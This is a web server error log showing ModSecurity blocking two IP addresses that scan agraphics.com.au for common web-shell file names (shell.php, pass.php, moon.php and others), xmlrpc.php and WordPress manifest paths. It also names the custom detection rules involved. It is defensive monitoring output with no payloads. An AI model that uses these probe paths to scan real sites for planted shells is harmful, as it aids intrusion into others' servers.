[Sun Dec 14 07:29:52.298124 2025] [:error] [pid 39523:tid 39538] [client 52.169.159.88:7881] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aT328DQTQH1raAj2lkhAAQAAAAo"]
[Sun Dec 14 07:29:52.799021 2025] [:error] [pid 39523:tid 39531] [client 52.169.159.88:1127] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aT328DQTQH1raAj2lkhAAgAAAAM"]
[Sun Dec 14 07:29:53.301083 2025] [:error] [pid 39523:tid 39548] [client 52.169.159.88:8258] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aT328TQTQH1raAj2lkhABgAAABQ"]
[Sun Dec 14 07:29:53.801383 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:3022] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aT328fxybG8-9MflbDemMAAAAMg"]
[Sun Dec 14 07:29:54.300025 2025] [:error] [pid 39524:tid 39578] [client 52.169.159.88:1222] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aT328mrVGpbDzFtDE9Ml_gAAAFY"]
[Sun Dec 14 07:29:54.804427 2025] [:error] [pid 41600:tid 41617] [client 52.169.159.88:15712] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aT328tFLTBZjcwNd_VsPWAAAAQ4"]
[Sun Dec 14 07:29:55.304314 2025] [:error] [pid 39525:tid 39607] [client 52.169.159.88:5059] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aT32801fX_pB_BrvE_6VBgAAAJg"]
[Sun Dec 14 07:29:55.805915 2025] [:error] [pid 39523:tid 39530] [client 52.169.159.88:14321] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aT328zQTQH1raAj2lkhAEAAAAAI"]
[Sun Dec 14 07:29:56.312117 2025] [:error] [pid 39523:tid 39546] [client 52.169.159.88:1260] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-is.php"] [unique_id "aT329DQTQH1raAj2lkhAEwAAABI"]
[Sun Dec 14 07:29:56.814602 2025] [:error] [pid 39614:tid 39622] [client 52.169.159.88:1656] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-is.php"] [unique_id "aT329PxybG8-9MflbDemPQAAAMY"]
[Sun Dec 14 07:29:57.312762 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:3065] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-is.php"] [unique_id "aT329fxybG8-9MflbDemQAAAAMg"]
[Sun Dec 14 07:29:57.814529 2025] [:error] [pid 41600:tid 41621] [client 52.169.159.88:1226] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-is.php"] [unique_id "aT329dFLTBZjcwNd_VsPYAAAARI"]
[Sun Dec 14 07:29:58.319386 2025] [:error] [pid 41600:tid 41609] [client 52.169.159.88:14302] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxin.php"] [unique_id "aT329tFLTBZjcwNd_VsPYgAAAQY"]
[Sun Dec 14 07:29:58.820053 2025] [:error] [pid 39614:tid 39638] [client 52.169.159.88:8305] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxin.php"] [unique_id "aT329vxybG8-9MflbDemRwAAANY"]
[Sun Dec 14 07:29:59.321333 2025] [:error] [pid 39524:tid 39562] [client 52.169.159.88:12408] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxin.php"] [unique_id "aT3292rVGpbDzFtDE9MmOAAAAEY"]
[Sun Dec 14 07:29:59.820526 2025] [:error] [pid 41600:tid 41607] [client 52.169.159.88:3457] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxin.php"] [unique_id "aT3299FLTBZjcwNd_VsPawAAAQQ"]
[Sun Dec 14 07:30:00.321375 2025] [:error] [pid 39523:tid 39534] [client 52.169.159.88:7693] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aT32-DQTQH1raAj2lkhAIAAAAAY"]
[Sun Dec 14 07:30:00.823408 2025] [:error] [pid 41600:tid 41624] [client 52.169.159.88:1741] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aT32-NFLTBZjcwNd_VsPbgAAARU"]
[Sun Dec 14 07:30:01.326268 2025] [:error] [pid 41600:tid 41621] [client 52.169.159.88:16445] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aT32-dFLTBZjcwNd_VsPcQAAARI"]
[Sun Dec 14 07:30:01.830795 2025] [:error] [pid 39614:tid 39622] [client 52.169.159.88:1264] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aT32-fxybG8-9MflbDemUQAAAMY"]
[Sun Dec 14 07:30:02.336106 2025] [:error] [pid 41600:tid 41609] [client 52.169.159.88:3487] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/moon.php"] [unique_id "aT32-tFLTBZjcwNd_VsPcwAAAQY"]
[Sun Dec 14 07:30:02.839823 2025] [:error] [pid 39524:tid 39566] [client 52.169.159.88:8276] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/moon.php"] [unique_id "aT32-mrVGpbDzFtDE9MmTwAAAEo"]
[Sun Dec 14 07:30:03.341905 2025] [:error] [pid 39523:tid 39537] [client 52.169.159.88:12061] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/moon.php"] [unique_id "aT32-zQTQH1raAj2lkhAJgAAAAk"]
[Sun Dec 14 07:30:03.842571 2025] [:error] [pid 39524:tid 39567] [client 52.169.159.88:14666] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/moon.php"] [unique_id "aT32-2rVGpbDzFtDE9MmUgAAAEs"]
[Sun Dec 14 07:30:04.345254 2025] [:error] [pid 39614:tid 39625] [client 52.169.159.88:16292] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aT32_PxybG8-9MflbDemUwAAAMk"]
[Sun Dec 14 07:30:04.849627 2025] [:error] [pid 39524:tid 39568] [client 52.169.159.88:5077] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aT32_GrVGpbDzFtDE9MmWAAAAEw"]
[Sun Dec 14 07:30:05.350897 2025] [:error] [pid 39614:tid 39616] [client 52.169.159.88:3506] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aT32_fxybG8-9MflbDemVQAAAMA"]
[Sun Dec 14 07:30:05.853496 2025] [:error] [pid 39525:tid 39606] [client 52.169.159.88:12776] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aT32_U1fX_pB_BrvE_6VDAAAAJc"]
[Sun Dec 14 07:30:06.355611 2025] [:error] [pid 39523:tid 39544] [client 52.169.159.88:12052] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32_jQTQH1raAj2lkhALQAAABA"]
[Sun Dec 14 07:30:06.857479 2025] [:error] [pid 39614:tid 39629] [client 52.169.159.88:3476] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32_vxybG8-9MflbDemVwAAAM0"]
[Sun Dec 14 07:30:07.359373 2025] [:error] [pid 39523:tid 39534] [client 52.169.159.88:1763] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32_zQTQH1raAj2lkhANAAAAAY"]
[Sun Dec 14 07:30:07.859927 2025] [:error] [pid 39524:tid 39566] [client 52.169.159.88:2724] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32_2rVGpbDzFtDE9MmYwAAAEo"]
[Sun Dec 14 07:30:08.360455 2025] [:error] [pid 41600:tid 41622] [client 52.169.159.88:1236] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aT33ANFLTBZjcwNd_VsPeAAAARM"]
[Sun Dec 14 07:30:08.863729 2025] [:error] [pid 39614:tid 39620] [client 52.169.159.88:3024] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aT33APxybG8-9MflbDemYAAAAMQ"]
[Sun Dec 14 07:30:09.369126 2025] [:error] [pid 39614:tid 39636] [client 52.169.159.88:1743] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aT33AfxybG8-9MflbDemYQAAANQ"]
[Sun Dec 14 07:30:09.877268 2025] [:error] [pid 39614:tid 39619] [client 52.169.159.88:3015] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js.php"] [unique_id "aT33AfxybG8-9MflbDemZAAAAMM"]
[Sun Dec 14 07:30:10.377919 2025] [:error] [pid 39523:tid 39538] [client 52.169.159.88:10978] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT33AjQTQH1raAj2lkhAUAAAAAo"]
[Sun Dec 14 07:30:10.878275 2025] [:error] [pid 39524:tid 39579] [client 52.169.159.88:2893] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT33AmrVGpbDzFtDE9MmcwAAAFc"]
[Sun Dec 14 07:30:11.380867 2025] [:error] [pid 41600:tid 41617] [client 52.169.159.88:14703] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT33A9FLTBZjcwNd_VsPewAAAQ4"]
[Sun Dec 14 07:30:11.880894 2025] [:error] [pid 39524:tid 39560] [client 52.169.159.88:8917] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT33A2rVGpbDzFtDE9MmdAAAAEQ"]
[Sun Dec 14 07:30:12.381501 2025] [:error] [pid 41600:tid 41614] [client 52.169.159.88:11431] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aT33BNFLTBZjcwNd_VsPfQAAAQs"]
[Sun Dec 14 07:30:12.882373 2025] [:error] [pid 39524:tid 39573] [client 52.169.159.88:14674] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aT33BGrVGpbDzFtDE9MmdgAAAFE"]
[Sun Dec 14 07:30:13.387880 2025] [:error] [pid 41600:tid 41623] [client 52.169.159.88:15900] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aT33BdFLTBZjcwNd_VsPfwAAARQ"]
[Sun Dec 14 07:30:13.889313 2025] [:error] [pid 39525:tid 39602] [client 52.169.159.88:15073] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aT33BU1fX_pB_BrvE_6VEQAAAJM"]
[Sun Dec 14 07:30:14.395460 2025] [:error] [pid 39525:tid 39597] [client 52.169.159.88:4426] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aT33Bk1fX_pB_BrvE_6VEgAAAI4"]
[Sun Dec 14 07:30:14.901439 2025] [:error] [pid 39614:tid 39634] [client 52.169.159.88:15398] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aT33BvxybG8-9MflbDemagAAANI"]
[Sun Dec 14 07:30:15.403756 2025] [:error] [pid 39523:tid 39534] [client 52.169.159.88:11521] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aT33BzQTQH1raAj2lkhAUgAAAAY"]
[Sun Dec 14 07:30:15.908940 2025] [:error] [pid 39525:tid 39607] [client 52.169.159.88:14680] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aT33B01fX_pB_BrvE_6VEwAAAJg"]
[Sun Dec 14 19:17:29.906574 2025] [:error] [pid 41600:tid 41605] [client 157.245.63.106:49804] [client 157.245.63.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.63.106, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aT6cydFLTBZjcwNd_VvqqAAAAQI"]
[Sun Dec 14 19:17:29.916755 2025] [proxy_fcgi:error] [pid 41600:tid 41605] [client 157.245.63.106:49804] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 19:17:31.907387 2025] [:error] [pid 41600:tid 41626] [client 157.245.63.106:49804] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aT6cy9FLTBZjcwNd_VvqvwAAARc"]
[Sun Dec 14 19:17:32.250783 2025] [:error] [pid 39614:tid 39626] [client 157.245.63.106:52129] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aT6czPxybG8-9MflbDdWTQAAAMo"]
[Sun Dec 14 19:17:32.593872 2025] [:error] [pid 41600:tid 41624] [client 157.245.63.106:52191] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aT6czNFLTBZjcwNd_VvqwwAAARU"]
[Sun Dec 14 19:17:32.936610 2025] [:error] [pid 13799:tid 13819] [client 157.245.63.106:52255] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aT6czHjPEin01ElFTNYnrQAAAhE"]
[Sun Dec 14 19:17:33.279851 2025] [:error] [pid 39614:tid 39616] [client 157.245.63.106:52313] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aT6czfxybG8-9MflbDdWUAAAAMA"]
[Sun Dec 14 19:17:33.622390 2025] [:error] [pid 40595:tid 40610] [client 157.245.63.106:52371] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aT6czfjrht6y4RN-xKQIfwAAAYs"]
[Sun Dec 14 19:17:33.964570 2025] [:error] [pid 41600:tid 41612] [client 157.245.63.106:52439] [client 157.245.63.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aT6czdFLTBZjcwNd_VvqxQAAAQk"]
